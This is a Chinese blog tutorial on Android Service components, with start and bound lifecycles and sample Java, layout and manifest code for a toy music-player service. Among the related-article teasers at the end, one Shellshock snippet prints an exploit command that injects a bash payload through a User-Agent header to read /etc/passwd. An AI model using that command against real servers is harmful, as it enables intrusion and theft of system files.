Service 服务

是一种应用组件,可长时间后台运行,不提供用户界面。如音乐播放器/下载程序。不能自己运行。

使用Service的方式:

(一)startService():

调用者和服务之间没有联系,即使调用者退出了,服务仍然进行;调用者(Activity)无法访问服务中的方法,因为不能自己new出来服务,new出来的就不是服务了,只是普通对象。

onCreate()->onStartCommand()->服务启动->onDestroy()。注意onCreate()只执行一次,Service实例只有一个。

1) 编写Service的子类或者间接子类;

2) 重写方法:onStartCommand()、onBind()、onCreate()、onDestroy();

onBind()方法返回null即可,所需操作写在onStartCommand()方法中。

3) 使用Intent启动Service,与启动其他Activity一样,方法换成startService(),类由OtherActivity换为Service子类。Intent同时可以向Service传递数据。

4) 在manifest文件中声明服务:<service android:name=”.Service”/>,与Activity同一级别。

5) 终止Service用方法stopService()。在setting-》application-》runningService中可以查看到服务正在运行。

6) int onStartCommand(Intent intent,int flag,int startId):startId为该服务唯一标识,类似身份证号。

(二)bindService():

调用者和服务绑定在一起,调用者一旦退出,服务也就终止;调用者可以访问服务中的方法(不能直接创建对象访问,要用下面代码介绍的办法)。

onCreate()->onBind()->onUnbind()->onDestroy()

BoundService允许其他组件(如Activity)绑定到这个Service上,可以发送请求,也可以接受请求,甚至进行进程间的通话。BoundService仅仅在服务于其他组件时存在,不能独自无限期的在后台运行。

如何创建BindService:

当创建一个能提供绑定功能的服务时,我们必须提供一个IBinder对象,客户端能使用该对象与服务进行交互。IBinder对象创建的三种方式:(参见dev->Service->BoundServices)

1) 继承Binder类,步骤如下:

a. 在Service类中,定义Binder子类MyBinder,在其中定义用于返回BoundService对象的getService()方法。

b. 在Service类中,定义MyBinder对象,并在onBind()方法中返回该对象。

c. 在Service类中,可以定义其他公有方法,以便将来被Service对象调用。

a. 在Activity类中,定义ServiceConnection接口的对象,重写onServiceConnected()方法和onServiceDisconnected()方法。

b. 在Activity类中,启动服务时执行bindService(intent,ServiceConnection,flag)方法,在服务连接成功时自动调用onServiceConnected(ComponentName,IBinder)方法,此方法的参数IBinder就是Service类中onBind()方法的返回值。因此可在此方法中得到Service对象,并可以调用Service类中定义的方法。onServiceDisconnected()方法很少调用,一般是当服务突然异常终止的时候调用。

参数flag取Context类中的常量:

Context.BIND_AUTO_CREATE:绑定时自动创建Service;最常用。

BIND_DEBUG_UNBIND:包含错误解绑时调试帮助。等等,查阅帮助文档。

(三)混合开启服务   解决调用者一旦退出退出,服务仍然开启

package com.example.shiyan5;

import android.app.Service;
import android.content.Intent;
import android.os.IBinder; public class MyService extends Service { @Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
System.out.println("绑定我的start服务");
return null;
}
@Override
public void onCreate() {
// TODO Auto-generated method stub
System.out.println("创建我的start服务");
super.onCreate();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
System.out.println("启动我的start服务");
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
System.out.println("销毁我的start服务");
super.onDestroy();
}
}

start方式启动服务

package com.example.shiyan5;

import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder; public class BindService extends Service { @Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
System.out.println("绑定我的Bind服务");
return new MyBinder1();
}
@Override
public void onCreate() {
// TODO Auto-generated method stub
System.out.println("创建我的Bind服务");
super.onCreate();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
System.out.println("启动我的Bind服务");
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
System.out.println("销毁我的Bind服务");
super.onDestroy();
}
public class MyBinder1 extends Binder{}
}

Bind开启服务

package com.example.shiyan5;

import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder; public class Music extends Service { @Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
System.out.println("Music——onBind");
return new MyBinder();
}
public class MyBinder extends Binder{
public void callLast()
{
last(); }
public void callPlay()
{
play(); }
public void callNext()
{
next(); }
public void callmusicstop()
{
musicstop(); }
}
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate(); System.out.println("准备音乐播放器");
}
public void last(){ System.out.println("播放上一首");
}
public void play(){
System.out.println("正在播放");
}
public void next(){
System.out.println("播放下一首");
}
public void musicstop(){ System.out.println("暂停播放");
} public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
System.out.println("启动我的Music服务");
return super.onStartCommand(intent, flags, startId);
}
public void onDestroy() {
// TODO Auto-generated method stub
System.out.println("销毁我的Bind服务");
super.onDestroy();
}
}

混合服务 音乐播放

package com.example.shiyan5;

import com.example.shiyan5.Music.MyBinder;

import android.os.Bundle;
import android.os.IBinder;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.ServiceConnection; import android.view.View; public class MainActivity extends Activity { private MyConnection con;
private MyBinder control;
private MyConnection1 conn;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); System.out.println("activity_onCreate"); } // start启动服务
public void start(View v){
Intent intent=new Intent(this,MyService.class);
startService(intent);
System.out.println("开始服务按钮");
}
public void closes(View v){
Intent intent=new Intent(this,MyService.class);
stopService(intent);
System.out.println("停止服务按钮");
} //绑定Service服务
public void bindStart(View v){ Intent service1=new Intent(this,BindService.class);
conn = new MyConnection1();
bindService(service1, conn, BIND_AUTO_CREATE);
System.out.println("BInd_bindStart按钮");
}
public void bindClose(View v){
unbindService(conn);
System.out.println("BInd_unbindService按钮");
} private class MyConnection1 implements ServiceConnection{
@Override
public void onServiceConnected(ComponentName arg0, IBinder arg1) { System.out.println("Bind_连接我的服务");
}
@Override
public void onServiceDisconnected(ComponentName arg0) {
// TODO Auto-generated method stub
System.out.println("BInd_onServiceDisconnected");
}
} //音乐播放服务 public void start_music(View v){
System.out.println("开始音乐服务按钮");
Intent intent1=new Intent(this,Music.class);
startService(intent1); }
public void stop_music(View v){
System.out.println("停止服务按钮");
Intent intent2=new Intent(this,Music.class);
stopService(intent2); }
public void startbind_music(View v){ Intent service =new Intent(this,Music.class);
con = new MyConnection();
bindService(service,con,BIND_AUTO_CREATE);
System.out.println("BInd_bindStart按钮");
}
public void destory_music(View v){ unbindService(con);
System.out.println("销毁音乐服务Music按钮");
}
public void last( View v){
control.callLast();
}
public void play(View v){ control.callPlay();
}
public void musicstop(View v){
control.callmusicstop();
}
public void next(View v){
control.callNext();} private class MyConnection implements ServiceConnection{
@Override
public void onServiceConnected(ComponentName arg0, IBinder arg1) {
System.out.println("Music_onServiceconnected");
control = (MyBinder)arg1; } @Override
public void onServiceDisconnected(ComponentName arg0) {
// TODO Auto-generated method stub
System.out.println("Music_onServiceDisconnected");
} } }

MainActivity

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"> <Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="开启服务"
android:onClick="start"
android:id="@+id/btn_s"
/>
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="关闭服务"
android:onClick="closes"
android:id="@+id/btn_c"
/>
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="开启绑定服务"
android:onClick="bindStart"
android:id="@+id/btn_bs"
/>
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="关闭绑定服务"
android:onClick="bindClose"
android:id="@+id/btn_bc"
/> <Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="启动音乐服务"
android:onClick="start_music"
android:id="@+id/btn_sm"
/>
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="停止音乐服务"
android:onClick="stop_music"
android:id="@+id/btn_stm"
/>
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="绑定音乐服务"
android:onClick="startbind_music"
android:id="@+id/btn_bm"
/>
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="销毁音乐服务"
android:onClick="destory_music"
android:id="@+id/btn_dm"
/> <LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="horizontal"> <Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="前一首"
android:onClick="last"
android:id="@+id/btn_b"
/>
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="播放"
android:onClick="play"
android:id="@+id/btn_p"
/>
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="暂停"
android:onClick="musicstop"
android:id="@+id/btn_m"
/>
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="下一首"
android:onClick="next"
android:id="@+id/btn_l"
/>
</LinearLayout> </LinearLayout>

XML

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.shiyan5"
android:versionCode=""
android:versionName="1.0" > <uses-sdk
android:minSdkVersion=""
android:targetSdkVersion="" /> <application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.example.shiyan5.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity> <service android:name="com.example.shiyan5.MyService"></service>
<service android:name="com.example.shiyan5.BindService"></service>
<service android:name="com.example.shiyan5.Music"></service>
</application> </manifest>

manifest.xml

安卓开发,Service 服务的更多相关文章

  1. 安卓开发service

    如果把Activity比喻为前台程序,那么service可以看做是一个后台程序.Service跟Activity一样也由Intent调用. 在工程里想要添加一个Service,先新建继承Service ...

  2. Android 综合揭秘 —— 全面剖释 Service 服务

    引言 Service 服务是 Android 系统最常用的四大部件之一,Android 支持 Service 服务的原因主要目的有两个,一是简化后台任务的实现,二是实现在同一台设备当中跨进程的远程信息 ...

  3. C#编写WINNT服务,随便解决安卓开发遇到的5037被众多程序无节操占用的问题

    需求分析: 最近重新开始学习安卓开发,好久不用的ADT集成开发环境频繁遇到不能在仿真机和真机上调试的问题,也就是本人另一篇博文描述的ADB(Android Debug Bridge)监控的5037被金 ...

  4. [开发笔记]-控制Windows Service服务运行

    用代码实现动态控制Service服务运行状态. 效果图: 代码: #region 启动服务 /// <summary> /// 启动服务 /// </summary> /// ...

  5. (转)在SAE使用Apple Push Notification Service服务开发iOS应用, 实现消息推送

    在SAE使用Apple Push Notification Service服务开发iOS应用, 实现消息推送 From: http://saeapns.sinaapp.com/doc.html 1,在 ...

  6. Linux下用gSOAP开发Web Service服务端和客户端程序

    网上本有一篇流传甚广的C版本的,我参考来实现,发现有不少问题,现在根据自己的开发经验将其修改,使用无误:另外,补充同样功能的C++版本,我想这个应该更有用,因为能用C++,当然好过受限于C. 1.gS ...

  7. ubuntu下安装 gSOAP 用于C/C++开发web service服务端与客户端

    昨天在ubuntu下进行安装gSOAP,费了很多时间,没成功,今天又来找了大量教程资料,终于一次成功,这里写下自己的安装步骤和方法,供大家参考. 首先下载gsoap,我下载的是gsoap-2.8.1. ...

  8. 使用CXF开发Web Service服务

    1.使用CXF开发Web Service服务端 1.1 开发一个Web Service业务接口,该接口要用@WebService修饰 (1)创建一个Java项目MyServer (2)在MyServe ...

  9. 使用axis开发web service服务端

    一.axis环境搭建 1.安装环境 JDK.Tomcat或Resin.eclipse等. 2.到 http://www.apache.org/dyn/closer.cgi/ws/axis/1_4下载A ...

随机推荐

  1. 面试中很值得聊的二叉树遍历方法——Morris遍历

    Morri遍历 通过利用空闲指针的方式,来节省空间.时间复杂度O(N),额外空间复杂度O(1).普通的非递归和递归方法的额外空间和树的高度有关,递归的过程涉及到系统压栈,非递归需要自己申请栈空间,都具 ...

  2. react中路由不起作用的奇怪现象

    同样的两段Router代码,为什么一段正常,一段不起作用(也没有任何错误log提示) 瞪着眼观察也看不出为什么... 通过选中高亮显示内容相同, 为何就是有一段路由不管用呢? 折腾半天发现... 大小 ...

  3. Shellshock漏洞复现

    漏洞分析: exp: curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://172.16.20.134:8080/victi ...

  4. [apue] 一个工业级、跨平台的 tcp 网络服务框架:gevent

    作为公司的公共产品,经常有这样的需求:就是新建一个本地服务,产品线作为客户端通过 tcp 接入本地服务,来获取想要的业务能力. 与印象中动辄处理成千上万连接的 tcp 网络服务不同,这个本地服务是跑在 ...

  5. 关于ubuntu下使用l2tpvpn和远程桌面windows系统的测试

    一.背景: 2019年9月下旬到10月上旬,到海南澄迈福山度假.随身带的笔记本电脑中windows10系统因硬盘故障挂了,在另一块硬盘上的ubuntu18.04系统正常.因媳妇需要在10月1日远程回公 ...

  6. .net remoting(一)

    一.远程对象 ①RemoteHello.csproj 类库项目,程序集名称 RemoteHello ,默认命名空间 Wrox.ProCSharp.Remoting: ②派生自System.Marssh ...

  7. Rocket - debug - TLDebugModuleInner - HALTSUM

    https://mp.weixin.qq.com/s/elOGjaVCWc48gs9c_cTqww 简单介绍TLDebugModuleInner中HALTSUM寄存器的实现. 1. numHalted ...

  8. JavaSE(二) 关键字、标识符、注释

    个人博客网:https://wushaopei.github.io/    (你想要这里多有) 1关键字与标识符 1.1 java关键字的使用 定义:被Java语言赋予了特殊含义,用做专门用途的字符串 ...

  9. 分享按钮(QQ,微信,微博等)移入动画效果

    ps:最近写的很多博客都是在以前在项目里写过的,之所以现在写出来,最大的目的就是希望自己以后用到的时候比较容易找,而且现在再写一遍,有助于加深印象! 很简单的效果,说先实现方式: 1.图标来自 阿里巴 ...

  10. Java实现 LeetCode 745 前缀和后缀搜索(使用Hash代替字典树)

    745. 前缀和后缀搜索 给定多个 words,words[i] 的权重为 i . 设计一个类 WordFilter 实现函数WordFilter.f(String prefix, String su ...